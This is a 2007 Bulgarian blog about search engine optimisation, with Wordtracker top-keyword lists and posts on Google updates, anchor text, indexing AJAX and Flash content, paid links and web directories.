Мдам, Google наистина научи български днес и вече започна да ни поправя. Когато допуснете правописна грешка в своето търсене на български език, чичко Г. ще ви попита дали случайно не сте се объркал и дали не искаш да повториш търсенето. Най-накрая! И като видим и усилията, които търсачката полага за словообразуването и намирането на синоними в търсенето на български език, май съвсем скоро ще доживеем AdSense за съдържание на български. Нека си го пожелаем на днешния светъл празник!

Top 500 ключови думи в Wordtracker

Ето ги и най-търсените ключови думи през изминалата седмица:

Позиция Брой Фраза
===========================================

1 5606 myspace
2 5363 google
3 3894 yahoo
4 3560 myspace.com
5 3535 ebay
6 2850 games play
7 2764 akon
8 2579 paris hilton
9 2437 mapquest
10 2391 linkin park
11 2355 yahoo.com
12 2280 game cheats for ps2
13 2218 girls
14 2029 jerry falwell
15 1999 youtube
16 1894 lil wayne
17 1635 t-pain
18 1604 naruto
19 1539 cars
20 1485 american idol
21 1470 dogs
22 1461 lindsay lohan
23 1420 gas boycott
24 1396 anime
25 1395 hot
26 1357 google.com
27 1307 scooter mileage
28 1305 games
29 1299 jenna jameson
30 1275 fall out boy
31 1264 play game
32 1255 you tube
33 1243 dictionary
34 1242 craigslist
35 1212 meaning of names
36 1209 bourne ultimatum
37 1194 jessica alba
38 1191 msn
39 1176 green burials
40 1174 chrysler sold
41 1173 yahoo mail
42 1172 eminem
43 1169 beyonce
44 1166 dancing with the stars
45 1165 wikipedia
46 1160 music
47 1143 avril lavigne
48 1136 my space
49 1126 kim kardashian
50 1126 carrie underwood
51 1118 50 cent
52 1109 carmen electra
53 1104 ps 2 game cheats
54 1099 dog
55 1094 hotmail.com
56 1091 ask.com
57 1082 weather
58 1077 party like a rockstar
59 1073 britney spears
60 1047 home depot
61 1033 pamela anderson
62 1015 hotmail
63 1008 scientology
64 991 flowers
65 991 funny
66 991 holocaust
67 974 fergie
68 964 global warming
69 962 facebook
70 948 sperm shack movies
71 948 girlfriend
72 938 jessica simpson
73 923 aol.com
74 918 bikini
75 917 umbrella
76 915 my chemical romance
77 905 lyrics
78 887 walmart
79 877 mims
80 854 www.myspace.com
81 849 search engines
82 832 babes
83 826 slipknot
84 824 three days grace
85 817 thong
86 809 rihanna
87 804 play games
88 800 myspace layouts
89 797 family guy
90 789 amanda beard
91 787 metallica
92 777 maps
93 776 thongs
94 775 chris brown
95 770 www.yahoo.com
96 766 pictures of cats
97 762 dogpile
98 759 nudist
99 758 lowes
100 758 test
101 758 asian
102 757 girl
103 756 system of a down
104 751 nickelback
105 745 poetry
106 742 wwe
107 741 msn.com
108 738 map quest
109 737 korn
110 733 civil war
111 732 pretty ricky
112 731 breasts
113 729 copper river salmon
114 726 pokemon
115 725 cruise tickets
116 719 vida guerra
117 717 social security
118 708 george bush
119 705 ebay.com
120 698 webkinz
121 695 panties
122 693 shufuni
123 682 booty
124 674 t pain
125 672 love
126 667 amazon.com
127 665 lohan caught
128 664 runescape
129 662 free online games
130 661 white pages
131 661 tim mcgraw
132 657 cnn
133 656 shop boyz
134 651 breaking benjamin
135 647 taylor swift
136 643 lyrics music
137 638 women
138 638 gospel music lyrics
139 635 kelly clarkson
140 633 maroon 5
141 632 pop lock and drop it
142 617 beach
143 613 disturbed
144 612 dragons
145 611 jokes
146 607 horses
147 607 www
148 606 amazon
149 606 justin timberlake
150 606 tattoos
151 600 best buy
152 599 kenny chesney
153 594 craigs list
154 590 ebony
155 588 target
156 587 ask
157 585 hinder
158 581 youtube.com
159 580 money-makerz.com
160 572 ludacris
161 570 yellow pages
162 568 free e-cards
163 566 pink
164 565 free games
165 564 hilary duff
166 562 www.google.com
167 562 sears
168 557 tupac
169 555 young jeezy
170 553 stephen colbert
171 551 lingerie
172 550 rascal flatts
173 550 search engine
174 543 cats
175 541 weather.com
176 539 bow wow
177 537 blink 182
178 534 real estate
179 532 mature
180 529 jennifer lopez
181 528 newspaper obituaries
182 527 mapquest.com
183 527 party like a rock star
184 526 i tried
185 525 soccer
186 523 buy u a drank
187 523 south park
188 521 basketball
189 521 harry potter
190 518 antonella barba
191 515 halo 3
192 515 animals
193 512 proxy
194 512 bebo
195 509 ciara
196 509 southwest airlines
197 508 australia
198 500 tera patrick
199 498 glamorous
200 497 pc game cheats
201 497 cartoons
202 497 spiderman
203 496 hearts
204 495 football
205 493 aol
206 493 star wars
207 490 marijuana
208 489 song lyrics
209 487 people
210 485 usher
211 483 the way i live
212 483 raven riley
213 481 the used
214 480 aol mail
215 477 green day
216 476 usps
217 475 godsmack
218 473 shakira
219 472 weird al
220 471 statue of liberty
221 471 john cena
222 470 blonde
223 470 myspace login
224 470 myspace proxy
225 469 sublime
226 469 baseball
227 466 bullet for my valentine
228 466 news
229 465 buy you a drink
230 465 pink floyd
231 465 anna nicole smith
232 460 radio stations
233 460 walk it out
234 460 big
235 458 driving directions
236 458 horse
237 457 topless
238 455 puppies
239 453 katie price
240 452 play pokemon games
241 452 comcast.net
242 451 wow
243 449 car
244 446 busty
245 446 the game
246 445 dane cook
247 444 hairstyles
248 443 t.i.
249 442 nirvana
250 441 hi
251 440 michelle manhart
252 440 kelly blue book
253 439 gmail
254 438 fox news
255 438 briana banks
256 435 stars
257 434 papa roach
258 434 insane clown posse
259 434 troop gifts
260 433 youporn
261 431 tenacious d
262 431 hawaii
263 429 acdc
264 428 angelina jolie
265 427 smack that
266 426 hitler
267 426 romeo and juliet
268 426 panic at the disco
269 426 graduation
270 425 shoes
271 425 huey
272 424 2 step
273 424 xtube
274 424 big booty
275 423 three 6 mafia
276 421 weed
277 420 www.usbankaccounts.us
278 419 buy you a drank
279 419 ups
280 419 marilyn manson
281 414 water
282 414 airline tickets
283 413 gilmore girls
284 412 r kelly
285 412 lil boosie
286 411 pornotube
287 411 zip codes
288 411 black
289 410 circuit city
290 409 daughtry
291 409 wicked weasel
292 409 evanescence
293 408 2pac
294 407 gym class heroes
295 405 christina aguilera
296 404 prom hairstyles
297 404 herpes
298 402 kids
299 402 ocean
300 402 bank of america

3. В дългосрочен план:


Позиция Брой Фраза
===========================================

1 217826 myspace
2 200425 google
3 159745 ebay
4 147010 yahoo
5 146085 myspace.com
6 141793 games play
7 103893 akon
8 102683 game cheats for ps2
9 91773 yahoo.com
10 91641 mapquest
11 88042 paris hilton
12 87867 girls
13 86711 antonella barba
14 84479 anna nicole smith
15 81692 ps 2 game cheats
16 75085 youtube
17 73625 britney spears
18 64359 naruto
19 60604 jenna jameson
20 56497 dogs
21 55149 carmen electra
22 53685 anime
23 52549 msn
24 52488 michelle manhart
25 52353 dictionary
26 52302 cars
27 52021 google.com
28 51436 you tube
29 51323 beyonce
30 50338 fall out boy
31 50090 games
32 49041 american idol
33 49016 hotmail.com
34 48621 fergie
35 47852 yahoo mail
36 46561 lil wayne
37 46510 eminem
38 46179 hot
39 45884 wikipedia
40 45257 myspace layouts
41 45167 craigslist
42 43840 weather
43 43553 pamela anderson
44 43192 funny
45 42632 my space
46 42500 jessica simpson
47 42395 hotmail
48 40946 www.myspace.com
49 40202 lyrics for music
50 39764 test
51 39645 play game
52 39429 bikini
53 39231 search engines
54 38850 music
55 38482 walmart
56 37507 dog
57 37444 home depot
58 36764 jessica alba
59 36614 my chemical romance
60 35301 thong
61 34794 lyrics
62 34788 thongs
63 34563 ebay.com
64 33730 aol.com
65 33719 flowers
66 33647 50 cent
67 33609 runescape
68 33577 lingerie
69 33266 lyrics music
70 32911 mims
71 32155 chris brown
72 31988 amazon.com
73 31977 justin timberlake
74 31396 ask.com
75 31283 babes
76 31200 vida guerra
77 30987 girl
78 30957 airline tickets
79 30606 avril lavigne
80 30318 dogpile
81 30257 meaning of names
82 29923 lowes
83 29908 www.yahoo.com
84 29729 nudist
85 29650 best buy
86 29633 global warming
87 29427 breasts
88 29000 msn.com
89 28599 family guy
90 28593 map quest
91 28529 linkin park
92 28392 three days grace
93 28376 maps
94 27892 wwe
95 27892 slipknot
96 27888 love
97 27828 baby names
98 27743 lindsay lohan
99 27244 cnn
100 27203 smack that
101 27164 poetry
102 26422 korn
103 26372 booty
104 26039 target
105 25230 asian
106 24986 amazon
107 24862 women
108 24824 jennifer lopez
109 24817 panties
110 24790 find music lyrics
111 24776 pretty ricky
112 24659 free games
113 24644 christina aguilera
114 24591 nickelback
115 24577 free e-cards
116 24563 metallica
117 24558 play games
118 24537 ludacris
119 24447 walk it out
120 24340 white pages
121 24255 hilary duff
122 24225 obituaries
123 24149 song lyrics
124 23819 pokemon
125 23683 free online games
126 23363 cats
127 23273 jokes
128 23236 sears
129 22993 mature
130 22699 youtube.com
131 22669 pc game cheats
132 22573 angelina jolie
133 22357 we fly high
134 22339 www.google.com
135 22211 raven riley
136 22109 pet food recall
137 21943 disturbed
138 21814 craigs list
139 21786 ciara
140 21741 young jeezy
141 21725 south park
142 21695 tattoos
143 21550 spring break
144 21534 facebook
145 21533 bow wow
146 21400 system of a down
147 21340 myspace login
148 21302 radio stations
149 21223 gwen stefani
150 21158 prom dresses
151 20958 jennifer aniston
152 20878 aol
153 20680 weather.com
154 20658 irs
155 20580 ask
156 20422 southwest airlines
157 20240 circuit city
158 20183 horses
159 20138 real estate
160 20135 limewire
161 20073 white and nerdy
162 20055 hinder
163 19932 hearts
164 19858 carrie underwood
165 19826 yellow pages
166 19670 girlfriend
167 19604 holocaust
168 19604 trish stratus
169 19528 weird al
170 19292 shakira
171 19290 panic at the disco
172 19242 google earth
173 19193 puppies
174 19180 dragons
175 19163 john cena
176 19053 halle berry
177 18961 shyamali malakar
178 18932 news
179 18854 how to save a life
180 18808 webkinz
181 18798 people search
182 18765 glamorous
183 18749 kelly blue book
184 18716 playstation2 game cheats
185 18661 300
186 18607 mapquest.com
187 18578 basketball
188 18520 tera patrick
189 18504 make it rain
190 18332 anna nicole
191 18264 statue of liberty
192 18242 tim mcgraw
193 18121 pink
194 18088 the game
195 18051 free radio stations
196 18046 harry potter
197 17994 gospel music lyrics
198 17986 movies
199 17976 people
200 17905 topless

Monday, May 21, 2007

150 Social Bookmarking Sites

В webmasterbg.org пуснаха тема с ресурс за 150 Social Bookmarking сайта. Ако имате интерес елате и прочетете споделените впечатления.

Friday, May 18, 2007

Sun пуска JavaFX за ново поколение usability

Sun очевидно са решили да развиват ново поколение интерфейси. Докато в медиите се говори за това как JavaFX ще бъде една алтернатива на AJAX, в Силиконовата долина се целят далеч по-високо. JavaFX ще бъде един чисто нов framework за GUI и в типичния за Sun стил, той ще бъде напълно мултиплатформен. Базирана на Java технологията, JavaFX ще може да се интегрира както в web, така и в настолни и мобилни приложения. Единния стандарт се стреми да предостави неповторима и безпрецедентна гъвкавост, точно в момента, когато цялата индустрия е хвърлила око на мобилния хардуер като платформа.

Припомням ви, MSN & Yahoo! подписаха сделки за милиарди през тази година с куп мобилни производители, за да може техните търсачки да се интегрират в новите модели от високо полколение. И не само това - Yahoo! Messenger и MSN Messenger вече имат своите мобилни версии. От своя страна пък, Google Base API & Google Gadgets позволяват на програмистите достъп до услугите на Google с една обикновена SOAP заявка да извлекат каквото си поискат.

В този момент Sun пуска своят framework и съм сигурен, че много скоро ще се появи нова категория в code.google.com. Кодът на JavaFX ще бъде изцяло отворен, което ще допринесе за лесното интегриране в безброй много приложения, но пък винаги ще имаме едно наум за бъгове. Чудя се дали отново ще трябва да се борим с инсталациите и поддръжката на някакъв VM, но съм сигурен че инженерите от Sun са си взели поука.

Разработен е и нов скриптов език - JavaFX Script, на който ще се разчита за да завладее мултиплафромените приложения с богат интерфейс. Просто се надявам да не е толкова извратен колкото самата Java :)

Thursday, May 17, 2007

Ще ходя на Google Developer Day 2007!!!

Радвам се като премръзнало циганче на ватенка. А то си е и горе-долу така, защото на семинарът в Hamburg на 31-ви май няма да присъства никой от екипа на AdWords. Те ще са в бразилия. При нас ще има Google Gadgets, Maps, Base API, Gdata, Earth и "много други". Аз се записах за семинарите на Maps и Base, като програмата ми изглежда по този начин:
  • 12:00 Записване и обяд
  • 13:15 Поздрави и интро
  • 14:15 Google Maps API (Level: Expert) 45 мин.
  • 15:00 Свободен избор между GData (Advanced) и Gadgets (n00b)
  • 15:45 Пауза за кафе и цигари
  • 16:15 Google Maps API (Level: Advanced) 45 мин.
  • 17:00 Google Base API - GData (Level: Expert) 45 мин.
  • 17:45 Почивка
  • 18:15 Какво научихме днес
  • 19:00 На гости в офиса на Google в Hamburg

Имаше още няколко панела за Gadgets, но те нещо не са ми интересни. Пропускам също така някакъв Workshop за начинаещи и напреднали, в който ще има нещо като състезание. Описанието беше нещо от рода на: "Донесете си лаптопа и се състезавайте с останалите програмисти. Напишете луди JavaScript-ове и спечелете контеста." Все пак Google Maps за експерти ми се стори някак по-важно.

За първи път отивам на такова събитие и не знам какво да очаквам. Нямам идея как ще се проведе и колко време ще има за въпроси. Ако искате да задам някакви въпроси от ваше име, пишете ги като коментар. Ще си следя коментарите по време на семинарите и така ще съм сигурен, че няма да ги пропусна.

Иначе няма как да не съм благодарен на Google за този отворен семинар, който провеждат. За разлика от SES, това не струва хилядарка евро, а е напълно безплатно. Това, което трябва да покрия са само транспортните разходи, но те ще се поемат от работодателите ми - Euroweb. В случай, че ми завиждате, те все още търсят хора в офиса в Пловдив :) Ако имате добри познания в Web програмирането (REST, DB Design, Code Design Patterns и т.н.) може да станете част от нашия изключителен екип и да работите по много интересни проекти. Защо пък да не се видим и на някой семинар на Google :) Аз лично не съм попадал на по-добро предложение за работа в България.

П.С. Да не забравите да си задавате въпросите като коментари!

Защо българските страници имат по-нисък PR?

Още една странна дискусийка в WebMasterBG.org. Моето мнение по въпросът е, че просто броят сайтове на кирилица е по-малък, от този на латиница. Както знаем, PR зависи главно от броят и качеството на линковете. И тъй като и аудиторията и броят на сайтовете е по-малък, е по-трудно да спечелиш огромен брой линкове от огромни сайтове, за да стигнеш до колосален PR. Все пак не пледирам, че знам всичко със сигурност, така че най-добре елате и изложете вашата гледна точка.

Google Analytics vs Tyxo

Кой от тях вади по-точна информация? Повечето хора ползват и двата каунтъра, защото в тях има по нещо уникално. В Tyxo, например, човек може да проследи последните си посещения от търсачките и да разгледа директно на кое място е за разни ключови думи. Google Analytics пък, показва колко време стои посетеля на сайта, процентът на новите посетители... а и отчита повече посещения от Tyxo.
В една дискусия в Webmasterbg.org пък се взеха предвид и методите на изчисляване, както и това, че Google може би умишлено завишава статистиката. И тъй като истината се крие в спора, заповядайте да коментираме

Google срещу платените линкове и кои директории са качествени

Matt Cuts сподели към кои директории да се ориентираме в своя пост относно платените линкове. Той казва, че Google обръща специално внимание на директориите и ги следи отблизо. Според него, ако в една директория може да попадне всеки сайт, значи тя не е нищо повече от обикновена линкферма. За Google е важно директориите да отделят внимание на отделните сайтове и некачествените да бъдат филтрирани. Той оправда и платените директории, като според него цената се заплаща за времето, за което те ще прегледат сайта и ще решат дали той да бъде одобрен или не. Не знам за вас, но аз не виждам нищо ново тук, освен TrustRank и linking neighborhood. Поправете ме ако греша.
От друга страна пък, Google събира информация за платени линкове и май смята да наказва сайтовете, които купуват/предлагат линкове. Голямо впечатление ми направи следният абзац:
Q: This is all well and fine, but I decide what to do on my site. I can do anything I want on it, including selling links.A: You’re 100% right; you can do absolutely anything you want on your site. But in the same way, I believe Google has the right to do whatever we think is best (in our index, algorithms, or scoring) to return relevant results.
Чудя се докога Google ще спре да опорочава бизнеса. Не виждам какъв е проблемът на тъсачката с големи сайтове, които могат да си позволят да продават линкове по сайта си. Все пак Интернет е част от рекламата и е съвсем нормално да се плаща за реклама. От една страна Google са против размяната на линкове, от друга - против продажбата. Какво да правим с линковете тогава? Не може всички линкове да са 'органични'. А и не виждам никакъв по-естествен мотив да линкнеш някоя страница от това, тя да ти плати за съответния линк :) Ще поживеем и ще видим как ще се отрази този reporting на резултатите.

За колко ключови думи сте на първо място?

Ето още едно готино tool-че. SEOdigger показва за колко и кои ключови думи вашият сайт е в топ20 на различните търсачки. Нещо, за което аз си мечтаех дълго време. За съжаление за сега поддържа единствено резултатите от Google.com, но един от програмистите на този сайт се свърза с нас в predpriemach.com и по всичко личи, че имат желание да доразвият своя проект и да предоставят още по-подробна информация. Съветвам ви да се включите в дискусията и да изкажете своите предпочитания, така че да имаме един максимално удобен ресурс. Можете да общувате с програмиста на английски и руски език. Аз лично го помолих да развие някакъв reporting tool, който да ми праща мейл всяка седмица и да ми казва как се движа по търсачките. Ако имате други идеи - елате и ги споделете.

Колко струва вашият сайт?

Всеки си задава въпроса "Колко ли струва сайта ми?" Едно много интересно tool-че отговаря на този въпрос - www.dnscoop.com. При изчисляването на цената се вземат предвид възрастта на домейна, PR, AlexaRank, броят на входящите линкове и т.н. Също така, те са партньори на Text-Link-Ads и изчисляват и евентуалната цена на един линк от вашия сайт през тяхната система. Интересно е много, а и цените са много близки до реалността. Познаха цената на MySpace, например :)

Този tool ми беше показан от дискусия в predpriemach.com.

Thursday, May 10, 2007

Google Analytics с нов Flash облик

Днес (вече вчера) Google смени облика на Google Analytics. Новата версия.. не предлага кой знае колко повече от старата. Това, което се набива на пръв поглед на очи (като изключим надписът BETA), е, че Flash-ът е навсякъде. Календарът е изместен горе в дясно на хоризонталния бар, и има нови графики за статистиките. Именно те ме изнервиха най-много. Вече не можеш да видиш директно колко посещения си имал през всеки ден от седмицата, а виждаш само графиката. Числото се показва само onMouseOver. Гадно, нали? От друга страна пък вече можем да виждаме колко време прекарват потребителите на нашия сайт, което е ... много полезно, но пък потресаващо.
Навигацията е слязла едно ниво по-надолу, което я прави малко по-дървена, но пък ме навежда на мисълта, че на третия левел ще започнат една по една да се появяват и новите функционалности. Чудя се дали ще можем да гледаме и органичния си CTR по някое време...

5-те най-важни характеристики на anchored text

Забелязвам, че на твърде много хора им е трудно да подберат правилните думи, които да линкнат към сайта си, затова реших да напиша едно кратко направление по темата.
Да започнем с това: какво е anchored text? Това е текстът на дадена хипервръзка, която води към някоя страница. (Когато хипервръзката е картинка, текстът в alt атрибута на картинката играе ролята на anchored text - бел. авт.) От гледната точка на кодера, това е текстът между <a> и </a> таговете. За оптимизаторът пък, това е най-силното оръжие след <title> тага. Говори се, че понякога оптимираните линкове и заглавие са достатъчно силни, за да проведете една успешна кампания дори и за фрази с голяма конкуренция.
Подборът на думите е много важна и пипкава задача. Представете си, че линкнатия текст струва един долар. В него се съдържат няколко думи. Всяка една от тях струва 1/n долара, където n е общият брой на думите. Да вземем за пример следните линкове: Седмична програма на над 50 телевизии в България онлайн и Онлайн ТВ програмата. Първият от тях е по-описателен, докато вторият е по-конкретен. Тънкостта в случая е, че аз реално се състезавам с този сайт за думите 'тв пргорама', 'онлайн тв', 'програмата' и т.н. Малко хора търсят за 'седмична програма' и производните. Следователно вторият линк е по-добър в моя случай, тъй като думите, за които се състезвам са с по-голяма тежест в този линк. Съответно е важно да се напаснат и в правилната подредба, защото, както навярно знаете, точното съвпадение е по-релевантно. И в тоя ред на мисли с този линк удрям с един куршум два заека - 'Онлайн ТВ' и 'ТВ програмата'. Не използвам предлози, защото те просто ще намалят тежестта на останалите думи. Всяка една от двете фрази има по '66 цента' стойност, докато при първия линк тя е значително по-малка.
Ако пък имате широк спектър от ключови думи, за които трябва да оптимирате, тогава просто се спрете на няколко вариянта с по 2-3 думи и ги сменяйте по различните сайтове. Естествено, не случайно :) Другата тънкост е, че Google като индексира някой линк, преглежда текста около него, за да види дали линка е естествен (natural, organic) или е платен, спам или нещо подобно. От най-голяма важност са думите в диапазон 1-2 изречения преди и след линка. Старайте се там да се съдържат най-важните ви ключови думи. Използвайте и title атрибута на линковете, за да допринесете за още по-релевантна описателност на съпътстващия текст. Ако линкът се намира в началото или в края на параграф, той има по-голяма тежест, отколкото ако е в средата. Комбинирайте всичките си познания в HTML, за да създадете впечатление за важност на вашия линк. Също така бъдете възможно най-конкретни в описателния текст около него. Поиграйте си с думите, използвайте различни вариации на сродни думи, членувайте, степенувайте. Всичко, каквото ви дойде на акъл, но внимавайте да не заприличате на спам. Избягвайте ненужните повторения. Дръжте на стила, но винаги имайте SEO наум :)
Когато линквате се стремете:
  • Да сте възможно най-описателни с най-малко думи;
  • Да избягвате предлози и малки думи, освен ако те не влизат интуитивно в най-търсените фрази;
  • Да подредите думите така, че да имате възможно най-голям шанс за точно съвпадение (exact match);
  • Думите да са в най-интуитивната форма (с/без пълен член, умалителни, на кирилица/латиница и т.н.);
  • Да поставите линка на важно място в страницата и по възможност се възползвайте от описателните текстове наоколо.
Съответно е много важно на страницата, към която този линк сочи, тези същите думи да се съдържат по важните места (title, description, h*, strong..), а в останалата част от текста още веднъж разгърнете цялото разнообразие на релевантни ключови думи, разбира се без това да наруши стилистичната форма на текста с дразнещи повторения или нещо от сорта. Имайте предвид, също така, че думите (линковете) в началото на страницата имат по-голяма тежест от тези в края и още по-голяма от тези по-средата. Въпреки това Google знае, че истинският сайт се намира в параграфите. Абе, пипкаво е :)
Този пост е продиктуван въз основа наблюдения по форуми, а поводът за написването е дискусия в predpriemach.com

Tuesday, May 1, 2007

Flash, AJAX и SEO на едно място?

Сигурен съм, че този въпрос тормози много хора и реших да споделя една идея и малко опит. За голяма част от уебмастърите е трудно да вкарат думите AJAX, Flash & SEO в едно изречение. Проблемът в случая е, че ботовете няма как да прочетат съдържанието на Flash-а или AJAX-а. ГРЕШНО! Благодарение на дразнещия Internet Explorer, където потребителя трябва да кликне, за да активира флаша, много хора се обърнаха към една отдавна позната техника - заредждането на Flash елементи с JavaScript. Не случайно, обаче, HTML поддържа освен SCRIPT и NOSCRIPT тага. С помощтта на малко PHP и XML и познаването на MVC, се стига до следното решение: Rieke-Hella Volleyball

Как се индексира AJAX съдържанието?
Лесно. Обикновено се ползва хипервръзка за тази цел. Имаме <a href="pages/page.html" onclick="javascript:ajaxCall('page.php', 'targetDivContainer');" title="Динамично описание, съдържащо ключови думи">Описателен текст на връзката</a>. Така бота ще индексира линк, към някоя страница, а при натискане ще се извика AJAX-a. Остава само да направим такъв фреймуърк, който да зарежда вярното съдържание вътре, след като човек попадне на тази страница от търсачката.

Как да покажем цялата страница на търсачка, а не само съдържанието на AJAX елемента?
Тук е малко по-пипкаво. Най-оптимирано е, когато съдържанията на отделните елементи се намират в директория, която е скрита за достъп от търсачките. Един .htaccess също би могъл да се окаже от помощ. С помощтта на mod_rewrite пращаме всички тези линкове в един файл, който инклудира последователно хедъра, динамичното съдържание и футъра. Хедъра представлява всичкия HTML преди динамичното съдържание (до отварящия DIV). След това влиза HTML кода, който би се върнал от AJAX RPC-то. След това се затваря DIV-а и се добавя всичко останало. Ето, показахме си 'скритата' навигация :)

Как да индексирам съдържанието на флаша?
Съдържанието на Flash-а се извежда във външни XML файлове. В тези XML файлове записвате всяка дума, която се появява на всеки отделен фрейм. Връзките към други фреймове ги описвате като хиперлинкове. Всеки хиперлинк ще предава нужните параметри на PHP файлче, което ще зарежда текстово фрейма и ще го представи под формата на HTML код, който ще бъде описан в NOSCRIPT-а след зареждането на флаша (май забравихте, че с JavaScript го викате :П).

Това е всичко. Няма защо да се лишавате от подвижност, красота и функционалност. Ако знаете как да го направите правилно, няма да попречите на своята SEO кампания.

Ре: Максимални печалби от Мрежата

Тази статия е отговор на Максимални печалби от Мрежата на г-н Аполостов. Реших, че имам какво да допълня:
 
Няма как да не кликне човек на подобно заглавие. Без значение дали сте в бизнеса или не, на вас винаги ще е интересно как се прави качествена бизнес линия в Интернет. И само това стига, за да изкажа своите адмирации към г-н Апостолов, който определено има опит и знае как да привлече интерес към себе си. С прочитането на статията, обаче, разбрах, че заглавието не отговаря на написаното вътре. Не обичам това като се случва, защото не съответства на моите очаквания. Оказа се, че предполагаемият наръчник по бизнес се оказа наръчник по маркетинг, PR и реклама. Пак интересно.. но това е друга индустрия. Затова реших да допълня статийката от гледната точка на интернет бизнеса. И така се стига до:

Как да направим сайта си сполучлив?
 
Като разработчик на уебстраници често се свързвам с хора, които започват своя нов онлайн бизнес. И те логично, започват от изработката на сайта. Виждал съм хиляди сайтове, които тръгват що-годе успешно, събират много потребители, и после претърпяват няколкомесечен застой, за да си реконструират сайта. Тогава се викат консултанти на помощ, които оптимират сайта и изискват хиляди корекции от програмистите (а често и чисто нови модули). От опит знам, че е много по-ефективно, ако още преди да се зададат спецификациите на програмиста, се помисли много. Най-добре се мисли, когато идеята вече е изяснена и бизнес-моделът е готов, в компанията на консултанта и програмиста. Аз (като програмист или консултант, или и двете) винаги задавам следните въпроси:
  1. Обяснете на какво ще разчитате. Откъде ще идват парите в сметката? Може да е от регистрация на потребители, може да е от импресии, от кликове по рекламните банери, от продажби на стоки, от телефонно обаждане във фирмата и т.н. Това е нещо, което и програмистът, и СЕО експертът трябва да знаят, преди да започнат своята работа. Така те ще структурират сайта по най-добрия начин за стимулиране на желания резултат. На консултанта моментално ще му дойдат идеи за непланирани функционалности, които ще спомагат регистрациите или продажбите.
  2. Към коя аудитория се целите? Дизайнът много зависи от аудиторията.
  3. Кои са ключовите думи на вашия бизнес? Това идва интуитивно след предния въпрос. Ако за СЕО се поговори още преди изработката на сайта, всичко после ще върви много по-гладко. Трябва да се набележат най-важните думи. Колко са те? Има ли достатъчна разнообразност на релативните думи, за да се изгради hallway/doorway структура? Животът е по-хубав, когато това стане ясно още преди да тръгне сайта :)
  4. Кое прави сайта Ви уникален във вашата ниша? Или с други думи: "Около какво да ориентирам сайта? Какво да сложа в средата с ярък цвят? В коя таблица да слагам top_offer флаг? И т.н.
  5. Има ли офлайн фирма, чиято работа подпомагаме? Да й направим онлайн форма за поръчки тогава.
  6. Ще има ли афилиейт? Ако да - да изградим и профил скриптове.
  7. Ако целите масовата аудитория, да внедрим някаква функционалност за комуникация между потребителите. По този начин те ще се връщат, за да си говорят. И през цялото време ще стават само повече!

Мисля, че в общи линии разбрахте какво имам предвид. За ефективността на сайта трябва да се поговори и много да се помисли, преди да започне самата изработка, а не да се чудят всевъзможни начини да се подобрява статистиката след това. Лошото е, че повечето програмисти не мислят за SEO и маркетинг, докато пишат. Това прави другите толкова по-скъпи :) Затова, ако стартирате нов бизнес проект, първо се съберете с разработчиците и консултанта, поговорете за проекта, вижте техния поглед и го обмислете. Дайте им да разберат на какво разчита сайта ви и планът за развитие, за да могат те да го направят най-ефективен. Това е ключът към успешен проект. От там насетне е статията на г-н Апостолов.

Friday, April 20, 2007

Новият Google Update благоприятен за български език

Тъкмо вчера много се израдвах, че се класирах втори за "онлайн тв", а днес съм пети. В челото са намерили място още 3 сайта, които вчера не бяха дори на първа страница. Това не означава нищо друго освен ъпдейт!!! (Късмет ви пожелавам!) Това, което ми направи първо впечатление е, че ТВ и телевизия вече са синоними. За съжаление алгоритъма за сродните думи (телевизията, телевизии) все още не работи както ние бихме искали, но има значителен прогрес и в тази насока. Друго - филтрирани бяха повече от 60% от сайтовете в тая ниша. Снощи се класирах с http://tvtv.bg/ втори от 3.5 милиона, днес съм пети от 1.3 милиона. Колко жалко за тези 2 милиона сайтчета само :( Т'ва е от мен. Надявам се да видя радостни новини и по другите блогове.

Tuesday, April 3, 2007

Митът за директориите и що е то SEO?

Директориите не са SEO. С това впечатление бях останал от много време насам, а през изминалата седмица събрах и нужните доказателства за да го твърдя. Директориите просто не са SEO. Да, те могат да окажат блгаприятно влияние за изкачването на още няколко позиции в Google, може да доведат и до инкремент в Page Rank-а, обаче са далеч от оптимизацията като такава.
А каква е тя? Какво е SEO? Search Engine Optimization. Защо човек си плаща за таква оптимизация и каква е нейната цел? В общия случай клиентът е бизнесмен, който е решил да се лансира и онлайн. Той има стока или услуга, която предлага, и иска да може да продаде. Разполага също така и с търговска марка, за чийто имидж трябва някой да се погрижи, а освен всичко друго търси и най-ефективния начин, по който да достигне до потребителя/купувача. Тази работа в Интернет я вършат СЕО специалистите. Те би трябвало да знаят най-добрия начин, по който продуктът да достигне до клиента и как да доведат до печалба. А добрата оптимизация е тази, която е ефективна. Т.е., когато за най-малък ресурс от пари и време се достига до най-много печалби.
В този ред на мисли, аз нито за миг не си представям прекарването на дни в подбиране на директории и добавянето на един уебсайт в тях. Първо, защото директориите, като такива, са неефективни. Те няма да доведат до трафик. Кой ти се рови из хилядите линкове в една директория, за да намери сайта, който му трябва? Никой. Има си търсачки, затова и ние оптимираме за тях. А дори и да имаше хора, които ги ползват, какъв имидж или каква търговска марка се гради на базата на един от хиляди линкове, които са събрани един през друг в някакво си сайтче? Освен това, обикновено в директориите човек може да добави само една страница и тя е хоумпейдж, как с един линк към даден хоумпейдж един "специалист в интернет маркетинга" ще гарантира пряк достъп на продукта до клиента?
От друга страна пък, one link - one vote политиката на търсачките донякъде се оставя да бъде манипулирана от подобен тип спам, защото част от директориите дават реален линк към дадена страница и това се взема предвид при отчитането на популярността на сайта и неговата важност...
Но до толкова. Тези линкове са второстепенни. Те не са качествени. На една страница в някоя директория има по над 50 външни линка, всеки от тях карайки другите да се чувстват все по-маловажни. Както добре се знае, бонусът, който една страница може да даде за даден линк от нея навън, се дели по равно между всички външни линкове по нея. Или, ако един сайт с PR 5 има 4 външни линка, а един сайт с PR6 има 5 външни линка, то първият ще има повече тежест от втория. А както знаете, тежестта на самите връзки е по-важна от техния брой.
